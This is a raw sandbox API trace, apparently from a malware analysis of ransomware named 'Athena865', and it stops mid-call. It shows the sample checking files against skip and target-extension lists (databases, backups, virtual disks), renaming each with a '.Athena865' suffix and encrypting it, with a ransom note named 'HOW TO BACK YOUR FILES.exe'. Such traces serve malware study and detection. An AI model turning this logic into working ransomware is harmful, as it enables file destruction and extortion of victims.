[0138.105] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.105] lstrlenW (lpString="accdb") returned 5 [0138.105] lstrcmpiW (lpString1="5.WMF", lpString2="accdb") returned -1 [0138.105] lstrlenW (lpString="accdc") returned 5 [0138.105] lstrcmpiW (lpString1="5.WMF", lpString2="accdc") returned -1 [0138.105] lstrlenW (lpString="accde") returned 5 [0138.105] lstrcmpiW (lpString1="5.WMF", lpString2="accde") returned -1 [0138.105] lstrlenW (lpString="accdr") returned 5 [0138.105] lstrcmpiW (lpString1="5.WMF", lpString2="accdr") returned -1 [0138.105] lstrlenW (lpString="accdt") returned 5 [0138.105] lstrcmpiW (lpString1="5.WMF", lpString2="accdt") returned -1 [0138.105] lstrlenW (lpString="accdw") returned 5 [0138.105] lstrcmpiW (lpString1="5.WMF", lpString2="accdw") returned -1 [0138.105] lstrlenW (lpString="accft") returned 5 [0138.105] lstrcmpiW (lpString1="5.WMF", lpString2="accft") returned -1 [0138.105] lstrlenW (lpString="adb") returned 3 [0138.105] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.105] lstrlenW (lpString="adb") returned 3 [0138.105] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.106] lstrlenW (lpString="ade") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.106] lstrlenW (lpString="adf") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.106] lstrlenW (lpString="adn") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.106] lstrlenW (lpString="adp") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.106] lstrlenW (lpString="alf") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.106] lstrlenW (lpString="ask") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.106] lstrlenW (lpString="btr") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.106] lstrlenW (lpString="cat") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.106] lstrlenW (lpString="cdb") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.106] lstrlenW (lpString="ckp") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.106] lstrlenW (lpString="cma") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.106] lstrlenW (lpString="cpd") returned 3 [0138.106] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.106] lstrlenW (lpString="dacpac") returned 6 [0138.106] lstrcmpiW (lpString1="95.WMF", lpString2="dacpac") returned -1 [0138.107] lstrlenW (lpString="dad") returned 3 [0138.107] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.107] lstrlenW (lpString="dadiagrams") returned 10 [0138.107] lstrcmpiW (lpString1="157995.WMF", lpString2="dadiagrams") returned -1 [0138.107] lstrlenW (lpString="daschema") returned 8 [0138.107] lstrcmpiW (lpString1="7995.WMF", lpString2="daschema") returned -1 [0138.107] lstrlenW (lpString="db-journal") returned 10 [0138.107] lstrcmpiW (lpString1="157995.WMF", lpString2="db-journal") returned -1 [0138.107] lstrlenW (lpString="db-shm") returned 6 [0138.107] lstrcmpiW (lpString1="95.WMF", lpString2="db-shm") returned -1 [0138.107] lstrlenW (lpString="db-wal") returned 6 [0138.107] lstrcmpiW (lpString1="95.WMF", lpString2="db-wal") returned -1 [0138.107] lstrlenW (lpString="dbc") returned 3 [0138.107] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.107] lstrlenW (lpString="dbs") returned 3 [0138.107] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.107] lstrlenW (lpString="dbt") returned 3 [0138.107] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.107] lstrlenW (lpString="dbv") returned 3 [0138.107] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.107] lstrlenW (lpString="dbx") returned 3 [0138.107] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.107] lstrlenW (lpString="dcb") returned 3 [0138.107] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.107] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.108] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.Athena865") returned 71 [0138.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf.athena865"), dwFlags=0x1) returned 1 [0138.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0157995.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.110] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7572) returned 1 [0138.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.110] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.111] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.111] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.111] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20a0, lpName=0x0) returned 0x154 [0138.112] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20a0) returned 0x100000 [0138.113] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.114] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.114] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.114] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.115] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.115] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.115] CloseHandle (hObject=0x154) returned 1 [0138.115] CloseHandle (hObject=0x17c) returned 1 [0138.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.116] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.116] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2=".") returned 1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="..") returned 1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="windows") returned -1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="bootmgr") returned 1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="temp") returned -1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="pagefile.sys") returned -1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="boot") returned 1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="ids.txt") returned 1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="ntuser.dat") returned -1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="perflogs") returned -1 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2="MSBuild") returned -1 [0138.116] lstrlenW (lpString="J0158007.WMF") returned 12 [0138.116] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0158007.WMF" | out: lpString1="J0158007.WMF") returned="J0158007.WMF" [0138.116] lstrlenW (lpString="J0158007.WMF") returned 12 [0138.116] lstrlenW (lpString="Athena865") returned 9 [0138.116] lstrcmpiW (lpString1="58007.WMF", lpString2="Athena865") returned -1 [0138.116] lstrlenW (lpString=".dll") returned 4 [0138.116] lstrcmpiW (lpString1="J0158007.WMF", lpString2=".dll") returned 1 [0138.117] lstrlenW (lpString=".lnk") returned 4 [0138.117] lstrcmpiW (lpString1="J0158007.WMF", lpString2=".lnk") returned 1 [0138.117] lstrlenW (lpString=".ini") returned 4 [0138.117] lstrcmpiW (lpString1="J0158007.WMF", lpString2=".ini") returned 1 [0138.117] lstrlenW (lpString=".sys") returned 4 [0138.117] lstrcmpiW (lpString1="J0158007.WMF", lpString2=".sys") returned 1 [0138.117] lstrlenW (lpString="J0158007.WMF") returned 12 [0138.117] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.Athena865") returned 71 [0138.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf.athena865"), dwFlags=0x1) returned 1 [0138.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0158007.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.118] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5158) returned 1 [0138.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.119] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.119] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.120] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.120] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.120] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1730, lpName=0x0) returned 0x154 [0138.122] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1730) returned 0x100000 [0138.123] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.123] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.123] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.124] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.124] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.124] CloseHandle (hObject=0x154) returned 1 [0138.124] CloseHandle (hObject=0x17c) returned 1 [0138.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.125] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2=".") returned 1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="..") returned 1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="windows") returned -1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="bootmgr") returned 1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="temp") returned -1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="pagefile.sys") returned -1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="boot") returned 1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="ids.txt") returned 1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="ntuser.dat") returned -1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="perflogs") returned -1 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2="MSBuild") returned -1 [0138.125] lstrlenW (lpString="J0183168.WMF") returned 12 [0138.125] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0183168.WMF" | out: lpString1="J0183168.WMF") returned="J0183168.WMF" [0138.125] lstrlenW (lpString="J0183168.WMF") returned 12 [0138.125] lstrlenW (lpString="Athena865") returned 9 [0138.125] lstrcmpiW (lpString1="83168.WMF", lpString2="Athena865") returned -1 [0138.125] lstrlenW (lpString=".dll") returned 4 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2=".dll") returned 1 [0138.125] lstrlenW (lpString=".lnk") returned 4 [0138.125] lstrcmpiW (lpString1="J0183168.WMF", lpString2=".lnk") returned 1 [0138.126] lstrlenW (lpString=".ini") returned 4 [0138.126] lstrcmpiW (lpString1="J0183168.WMF", lpString2=".ini") returned 1 [0138.126] lstrlenW (lpString=".sys") returned 4 [0138.126] lstrcmpiW (lpString1="J0183168.WMF", lpString2=".sys") returned 1 [0138.126] lstrlenW (lpString="J0183168.WMF") returned 12 [0138.126] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.Athena865") returned 71 [0138.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf.athena865"), dwFlags=0x1) returned 1 [0138.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0183168.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.128] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19768) returned 1 [0138.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.128] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.128] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.129] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.129] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.129] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5040, lpName=0x0) returned 0x154 [0138.131] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5040) returned 0x100000 [0138.132] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.133] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.133] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.134] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.134] CloseHandle (hObject=0x154) returned 1 [0138.135] CloseHandle (hObject=0x17c) returned 1 [0138.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.136] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0138.136] lstrcmpiW (lpString1="J0183290.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.136] lstrcmpiW (lpString1="J0183290.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.136] lstrcmpiW (lpString1="J0183290.WMF", lpString2=".") returned 1 [0138.143] lstrcmpiW (lpString1="J0183290.WMF", lpString2="..") returned 1 [0138.144] lstrcmpiW (lpString1="J0183290.WMF", lpString2="windows") returned -1 [0138.145] lstrcmpiW (lpString1="J0183290.WMF", lpString2="bootmgr") returned 1 [0138.145] lstrcmpiW (lpString1="J0183290.WMF", lpString2="temp") returned -1 [0138.145] lstrcmpiW (lpString1="J0183290.WMF", lpString2="pagefile.sys") returned -1 [0138.145] lstrcmpiW (lpString1="J0183290.WMF", lpString2="boot") returned 1 [0138.145] lstrcmpiW (lpString1="J0183290.WMF", lpString2="ids.txt") returned 1 [0138.145] lstrcmpiW (lpString1="J0183290.WMF", lpString2="ntuser.dat") returned -1 [0138.145] lstrcmpiW (lpString1="J0183290.WMF", lpString2="perflogs") returned -1 [0138.146] lstrcmpiW (lpString1="J0183290.WMF", lpString2="MSBuild") returned -1 [0138.146] lstrlenW (lpString="J0183290.WMF") returned 12 [0138.147] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0183290.WMF" | out: lpString1="J0183290.WMF") returned="J0183290.WMF" [0138.148] lstrlenW (lpString="J0183290.WMF") returned 12 [0138.148] lstrlenW (lpString="Athena865") returned 9 [0138.149] lstrcmpiW (lpString1="83290.WMF", lpString2="Athena865") returned -1 [0138.149] lstrlenW (lpString=".dll") returned 4 [0138.149] lstrcmpiW (lpString1="J0183290.WMF", lpString2=".dll") returned 1 [0138.149] lstrlenW (lpString=".lnk") returned 4 [0138.149] lstrcmpiW (lpString1="J0183290.WMF", lpString2=".lnk") returned 1 [0138.149] lstrlenW (lpString=".ini") returned 4 [0138.149] lstrcmpiW (lpString1="J0183290.WMF", lpString2=".ini") returned 1 [0138.149] lstrlenW (lpString=".sys") returned 4 [0138.149] lstrcmpiW (lpString1="J0183290.WMF", lpString2=".sys") returned 1 [0138.149] lstrlenW (lpString="J0183290.WMF") returned 12 [0138.149] lstrlenW (lpString="bak") returned 3 [0138.149] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.149] lstrlenW (lpString="ba_") returned 3 [0138.149] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.149] lstrlenW (lpString="dbb") returned 3 [0138.149] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.150] lstrlenW (lpString="vmdk") returned 4 [0138.150] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.150] lstrlenW (lpString="rar") returned 3 [0138.150] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.150] lstrlenW (lpString="zip") returned 3 [0138.151] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.151] lstrlenW (lpString="tgz") returned 3 [0138.151] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.151] lstrlenW (lpString="vbox") returned 4 [0138.151] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.151] lstrlenW (lpString="vdi") returned 3 [0138.151] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.152] lstrlenW (lpString="vhd") returned 3 [0138.152] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.153] lstrlenW (lpString="vhdx") returned 4 [0138.153] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.153] lstrlenW (lpString="avhd") returned 4 [0138.153] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.153] lstrlenW (lpString="db") returned 2 [0138.153] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.153] lstrlenW (lpString="db2") returned 3 [0138.153] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.153] lstrlenW (lpString="db3") returned 3 [0138.153] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.153] lstrlenW (lpString="dbf") returned 3 [0138.154] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.154] lstrlenW (lpString="mdf") returned 3 [0138.155] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.155] lstrlenW (lpString="mdb") returned 3 [0138.155] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.155] lstrlenW (lpString="sql") returned 3 [0138.155] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.155] lstrlenW (lpString="sqlite") returned 6 [0138.155] lstrcmpiW (lpString1="90.WMF", lpString2="sqlite") returned -1 [0138.155] lstrlenW (lpString="sqlite3") returned 7 [0138.155] lstrcmpiW (lpString1="290.WMF", lpString2="sqlite3") returned -1 [0138.155] lstrlenW (lpString="sqlitedb") returned 8 [0138.156] lstrcmpiW (lpString1="3290.WMF", lpString2="sqlitedb") returned -1 [0138.156] lstrlenW (lpString="xml") returned 3 [0138.156] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.156] lstrlenW (lpString="$er") returned 3 [0138.156] lstrcmpiW (lpString1="WMF", 